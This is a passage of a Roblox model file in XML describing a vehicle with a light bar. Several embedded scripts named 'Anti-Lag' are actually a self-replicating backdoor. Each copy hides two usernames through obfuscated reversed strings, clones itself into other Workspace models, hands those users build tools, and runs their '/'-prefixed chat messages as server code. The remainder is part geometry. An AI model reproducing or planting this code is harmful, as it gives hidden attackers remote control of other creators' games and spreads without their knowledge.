if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX130">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX131">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX132">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX133">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX134">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX135">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX136">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX137">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Model</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX138">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Light Bar</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX139">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1176.5</X>
											<Y>11.999999</Y>
											<Z>670.400024</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">A</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000187276586</X>
											<Y>0.00011369439</Y>
											<Z>0.000207359117</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX140">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX141">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1178</X>
											<Y>11.999999</Y>
											<Z>670.900024</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">B</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000187206315</X>
											<Y>0.000107531516</Y>
											<Z>0.000207148289</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX142">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX143">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1176.5</X>
											<Y>11.999999</Y>
											<Z>671.400024</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">C</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000187136044</X>
											<Y>0.000116049661</Y>
											<Z>0.000207359117</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX144">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX145">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-1174</X>
											<Y>11.999999</Y>
											<Z>670.900024</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">D</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000187206315</X>
											<Y>0.000127106221</Y>
											<Z>0.000207710487</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX146">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX147">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-1175.5</X>
											<Y>11.999999</Y>
											<Z>670.400024</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
